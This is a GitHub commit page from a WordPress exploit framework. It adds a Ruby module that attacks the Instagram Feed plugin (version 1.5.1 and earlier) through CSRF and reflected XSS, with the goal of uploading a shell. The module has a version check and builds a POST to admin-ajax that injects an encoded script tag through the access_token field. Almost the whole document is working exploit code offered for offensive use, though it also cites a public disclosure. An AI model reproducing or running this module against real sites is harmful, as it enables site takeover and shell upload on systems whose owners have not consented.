Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 918533c

Browse files
committed
Add Instagram Feed <= 1.5.1 reflected XSS shell upload
1 parent c566c31 commit 918533c

File tree

1 file changed

+34
-0
lines changed

1 file changed

+34
-0
lines changed
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::InstagramFeedCsrfXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::StagedReflectedXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'Instagram Feed <= 1.5.1 CSRF Reflected XSS Shell Upload',
11+
author: [
12+
'Chris Atomix', # Disclosure
13+
'rastating' # WPXF module
14+
],
15+
references: [
16+
['WPVDB', '9023'],
17+
['URL', 'http://dumpco.re/blog/xss-instagram-feed']
18+
],
19+
date: 'Feb 05 2018'
20+
)
21+
end
22+
23+
def check
24+
check_plugin_version_from_readme('instagram-feed', '1.5.2')
25+
end
26+
27+
def initial_script
28+
create_basic_post_script(
29+
wordpress_url_admin_ajax,
30+
'action' => 'sbi_auto_save_tokens',
31+
'access_token' => "<script>#{xss_ascii_encoded_include_script}<\\/script>"
32+
)
33+
end
34+
end

0 commit comments

Comments
 (0)